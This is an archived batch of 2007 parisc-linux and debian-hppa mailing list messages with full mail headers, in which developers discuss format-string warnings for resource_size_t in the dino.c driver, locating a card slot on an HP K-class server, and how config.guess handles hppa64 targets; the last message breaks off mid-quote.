Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5M10garGOJlF; Wed,  5 Sep 2007 09:52:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A5147DB73;
	Wed,  5 Sep 2007 09:51:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 787097DB6E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Sep 2007 09:51:45 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DaH7Z10QML7h for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Sep 2007 09:51:32 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 7CEE57DB61
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Sep 2007 09:51:31 -0600 (MDT)
Original-Received: from (ip-213-49-64-214.dsl.scarlet.be [213.49.64.214])
	by guri.is.scarlet.be  with ESMTP id l85FpRg04513;
	Wed, 5 Sep 2007 17:51:27 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.4 (X11/20070828)
In-Reply-To: <20070803153909.GA7812@fattire.cabal.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4Ja4LJkeaHI/bKWnKSUlffhqamdhZARd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24783



Kyle McMartin wrote:
> On Fri, Aug 03, 2007 at 11:16:08AM -0400, John David Anglin wrote:
>>>>> /CAD/linux-2.6.22-pa/drivers/parisc/dino.c: In function ?dino_bridge_init?:
>>>>> /CAD/linux-2.6.22-pa/drivers/parisc/dino.c:821: warning: format %lx
>>> expects type long unsigned int, but argument 4 has type 
>>>>> resource_size_t
>>>>> /CAD/linux-2.6.22-pa/drivers/parisc/dino.c:821: warning: format %lx
>>> expects type long unsigned int, but argument 5 has type 
>>>>> resource_size_t
>> >From linux/types.h:
>>
>> #ifdef CONFIG_RESOURCES_64BIT
>> typedef u64 resource_size_t;
>> #else
>> typedef u32 resource_size_t;
>> #endif
>>
>> %lx looks right for parisc.  This is ugly but you can kill the warning
>> by casting arguments 4 and 5 to unsigned long.
>>
> 
> We're "supposed" to use %llx and cast to a ULL, this is because of
> CONFIG_RESOURCES_64BIT which is for crap architectures which have
> 32-bit registers, but the possibility of bigger physical addresses,
> (think i386 with 36-bit PAE addressing.)
> 
> --Kyle
> 
> 
mmm and what do you think about adding yet another format letter e.g. [rR] for resource_size_t as it was done for [zZ]?

Tia,
	j.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some warning: ... cleanup; realy no interest?
Date: Wed, 5 Sep 2007 09:55:12 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20070905155512.GZ14130__47677.4463234053$1416624434$gmane$org@parisc-linux.org>
References: <JM78V2$461E14034C9C293D572DFA91ADC72793@scarlet.be>
	<200708031516.l73FG8jb002491@hiauly1.hia.nrc.ca>
	<20070803153909.GA7812@fattire.cabal.ca>
	<46DED07A.1060102@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624434 24991 80.91.229.3 (22 Nov 2014 02:47:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:14 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2007 15:55:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 05 Sep 2007 17:55:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53C287DB73;
	Wed,  5 Sep 2007 09:55:38 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id pEKmRkbrvFDZ; Wed,  5 Sep 2007 09:55:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF0E47DB75;
	Wed,  5 Sep 2007 09:55:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53B497DB6E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Sep 2007 09:55:24 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ipXF6HUR85B0 for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Sep 2007 09:55:13 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5C46B7DB61
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 Sep 2007 09:55:13 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id C24DC494003; Wed,  5 Sep 2007 09:55:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <46DED07A.1060102@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T+jtfvooMmAobLSZZGFngaYxMjQ1Nx2a
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24784

On Wed, Sep 05, 2007 at 03:51:22PM +0000, Joel Soete wrote:
> mmm and what do you think about adding yet another format letter e.g. [rR] for resource_size_t as it was done for [zZ]?

You'd also have to teach gcc about it.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Unknown device 0x0005f
Date: Tue, 4 Sep 2007 19:55:40 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20070905015540.GX14130__29470.4779553742$1416624434$gmane$org@parisc-linux.org>
References: <20070828215632.R6291@saddam.controlq.com> <200709042213.25542.deller@gmx.de> <20070904172254.Q31055@saddam.controlq.com> <200709042344.30215.deller@gmx.de> <20070904221537.GV14130@parisc-linux.org> <20070904195341.E32489@saddam.controlq.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624434 24996 80.91.229.3 (22 Nov 2014 02:47:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:14 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Rob Sciuk <rob@controlq.com>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <willy@parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2007 01:55:43 -0000
Original-Received: from palinux.external.hp.com (EHLO mail.parisc-linux.org) [192.25.206.14]
  by mx0.gmx.net (mx023) with SMTP; 05 Sep 2007 03:55:43 +0200
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id B9104494003; Tue,  4 Sep 2007 19:55:40 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20070904195341.E32489@saddam.controlq.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rj74bsfPLi5mI/fRZWtpottjZml1ZFjp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24785

On Tue, Sep 04, 2007 at 07:56:23PM -0400, Rob Sciuk wrote:
> >The owner could probably help us out by taking a look at the card in
> >slot 10/4/12 and seeing what chips are on it, and what connectors it has.
> 
> I can photograph it, if you like, how does one determine where slot 
> 10/4/12 is??  I know that there are a couple of mux boards on the back, 
> but frankly I haven't opened up the box as of yet.  Pointers?

It's been a few years since I looked at the back of a K-class, but I
believe the path '10/4/12' is silk-screened onto the outside of the case
below the slot in question.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Thu, 6 Sep 2007 15:47:35 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200709061947.l86JlZR2029925__35868.639793671$1416624435$gmane$org@hiauly1.hia.nrc.ca>
References: <200709061511.38991.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624435 24999 80.91.229.3 (22 Nov 2014 02:47:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Sep 2007 19:48:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx099) with SMTP; 06 Sep 2007 21:48:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C4B57DB44;
	Thu,  6 Sep 2007 13:48:12 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id wVgzTB1QgDwc; Thu,  6 Sep 2007 13:48:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6493B7DB4E;
	Thu,  6 Sep 2007 13:48:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1BD1A7DB32
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 13:47:53 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gKS4QG7tnAGo for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 13:47:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B3E3F7DAE6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Sep 2007 13:47:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l86Jlaj8029926;
	Thu, 6 Sep 2007 15:47:36 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l86JlZR2029925;
	Thu, 6 Sep 2007 15:47:35 -0400 (EDT)
In-Reply-To: <200709061511.38991.vapier@gentoo.org> from "Mike Frysinger" at
	Sep 6, 2007 03:11:37 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: R27TcrIaf2I+KoicY2xo66JwdWxlcxZp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24786

> > Nominally, the first part of the target string represents the
> > architecture of the kernel, and not the userspace architecture.
> > This is not sufficient to configure runtime applications when multiple
> > architectures are supported by one kernel.
> 
> i'm not terribly familiar with the breadth of the parisc family, but isnt
> 64bit only available with 2.0 ?  so it'd be pretty clean on Linux to say
> hppa64-*-linux-* means 64bit userland, everything else is 32bit

That's what is done now.  config.guess chooses between hppa64 and
32bit hppa variants based on the architecture of the compiler in use (CC).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Thu, 6 Sep 2007 15:52:13 -0400
Organization: wh0rd.org
Lines: 62
Approved: news@gmane.org
Message-ID: <200709061552.14960.vapier__34550.6408055828$1416624435$gmane$org@gentoo.org>
References: <200709042148.l84LmnE5017739@hiauly1.hia.nrc.ca> <200709061511.38991.vapier@gentoo.org> <7d01f9f00709061215q721df5b4wa7b8a0b96eaf491@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1277682.9KR2OukWNf";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624435 25001 80.91.229.3 (22 Nov 2014 02:47:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 "Matthias Klose" <doko@cs.tu-berlin.de>,
 debian-hppa@lists.debian.org
To: "Thibaut VARENE" <varenet@gmail.com>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Sep 2007 19:51:11 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx059) with SMTP; 06 Sep 2007 21:51:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 078102DE76; Thu,  6 Sep 2007 19:58:23 +0000 (UTC)
Old-Return-Path: <vapier@gentoo.org>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-0.7 required=4.0 tests=AWL,BAYES_05,SPF_PASS 
	autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by murphy.debian.org (Postfix) with ESMTP id 4E6152DDF9
	for <debian-hppa@lists.debian.org>; Thu,  6 Sep 2007 19:58:17 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id DAAFA64F70;
	Thu,  6 Sep 2007 19:51:02 +0000 (UTC)
User-Agent: KMail/1.9.7
In-Reply-To: <7d01f9f00709061215q721df5b4wa7b8a0b96eaf491@mail.gmail.com>
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <6HpYOC.A.ZpH.evF4GB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5930
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu,  6 Sep 2007 19:58:23 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YC+BIpkJa0ApbL6aejEzfrI3Njh6dA5o
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24787

--nextPart1277682.9KR2OukWNf
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Thursday 06 September 2007, Thibaut VARENE wrote:
> On 9/6/07, Mike Frysinger <vapier@gentoo.org> wrote:
> > On Tuesday 04 September 2007, John David Anglin wrote:
> > > Nominally, the first part of the target string represents the
> > > architecture of the kernel, and not the userspace architecture.
> > > This is not sufficient to configure runtime applications when multiple
> > > architectures are supported by one kernel.
> >
> > i'm not terribly familiar with the breadth of the parisc family, but is=
nt
> > 64bit only available with 2.0 ?  so it'd be pretty clean on Linux to sa=
y:
> > hppa64-*-linux-* means 64bit userland, everything else is 32bit
>
> Seems you misunderstood jda's above comment. We do not have a 64bit
> userland on hppa. the 'hppa64' part of the target string represents
> the architecture of the /kernel/. 64bit kernels run a 32bit userland,
> hence hppa64-linux should be treated (so far) as hppa-linux.

i didnt misunderstand anything

i'm stating that an autotool based package should treat all hppa2.0 hosts a=
s=20
32bit userland which is exactly what gmp does not do
=2Dmike

--nextPart1277682.9KR2OukWNf
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.6 (GNU/Linux)

iQIVAwUARuBabkFjO5/oN/WBAQIC/A//epdbdRCe8BMxNO3k1w2RzmDoSsZsP7sU
AF7YmDEjxiuOi5kKjPVzgvk5QL4cQHlYiBDk2aIP2blM/au0oPaL1MV9XRNCVfL/
LAFyzv29Md0UfFDc3l2NvLlTzr7gUQXAVg7ICHNwNVgVFJkR6y+fM8zdNVb92cZh
3kCefnz8mW+MKrugsroyr9Za/LYklqgf31Bng8seVWtkd2w+CQORVHgUbljMA9Gf
lmtOtqZhc6pA9P1YjGYSDhUNhvrFusQUgDjTWWYizDwYdcXh8edDZTMeedqkxxCw
yOWCK5epO5pj6//cSggWZqPcFsyhDtNzDEQxGu+AyKEAJUOhTCGK/BrcGi84NZ1m
H5TAtVE8n+iB7plRpR4V595dv8MIgeiD9uVzt4yVgGmBeIWUTy9wrDmVYPs0jIDO
rPYhrDHcE/yCh1fPUl/B9oTurkKlKn2OkUPGtZcNTyf8k8gfcMZ+2cBfghacNqhv
IT9kW7iDxBvxrjjk1+GdIKtDDFpRzc+31h5l6whO0vyqds10T91T2vPuYpDgO38c
fdQ9ulWxpKDHawy8X9yaAKnWjH5ZUkh0cnzUtr2viV/SgR2vxUzBeF73zaae17CS
GxsSvgRppkev+Z1DmgFYcN8bFpW7TCVPkxpBbRbmOmunD/wDhF2MWzPV+4ayPykt
vpjUE4qIa7s=
=5QXu
-----END PGP SIGNATURE-----

--nextPart1277682.9KR2OukWNf--


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Thu, 6 Sep 2007 15:53:46 -0400
Organization: wh0rd.org
Lines: 66
Approved: news@gmane.org
Message-ID: <200709061553.47315.vapier__39555.79537801$1416624435$gmane$org@gentoo.org>
References: <200709042148.l84LmnE5017739@hiauly1.hia.nrc.ca> <7d01f9f00709061215q721df5b4wa7b8a0b96eaf491@mail.gmail.com> <200709061552.14960.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2913264.VGNSK12FV2";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624435 25003 80.91.229.3 (22 Nov 2014 02:47:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:15 +0000 (UTC)
Cc: "Thibaut VARENE" <varenet@gmail.com>,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Sep 2007 19:52:43 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx053) with SMTP; 06 Sep 2007 21:52:43 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 38B282DE92; Thu,  6 Sep 2007 19:59:55 +0000 (UTC)
Old-Return-Path: <vapier@gentoo.org>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-0.7 required=4.0 tests=AWL,BAYES_05,SPF_PASS 
	autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by murphy.debian.org (Postfix) with ESMTP id 1D6542DDF9
	for <debian-hppa@lists.debian.org>; Thu,  6 Sep 2007 19:59:49 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id F2CEF64DFC;
	Thu,  6 Sep 2007 19:52:34 +0000 (UTC)
User-Agent: KMail/1.9.7
In-Reply-To: <200709061552.14960.vapier@gentoo.org>
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <bPQ5tB.A.FX.7wF4GB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5931
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu,  6 Sep 2007 19:59:55 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3y6FNj91ZCEWb7GPamwhLulwIGhpZQYw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24788

--nextPart2913264.VGNSK12FV2
Content-Type: text/plain;
  charset="iso-8859-6"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Thursday 06 September 2007, Mike Frysinger wrote:
> On Thursday 06 September 2007, Thibaut VARENE wrote:
> > On 9/6/07, Mike Frysinger <vapier@gentoo.org> wrote:
> > > On Tuesday 04 September 2007, John David Anglin wrote:
> > > > Nominally, the first part of the target string represents the
> > > > architecture of the kernel, and not the userspace architecture.
> > > > This is not sufficient to configure runtime applications when
> > > > multiple architectures are supported by one kernel.
> > >
> > > i'm not terribly familiar with the breadth of the parisc family, but
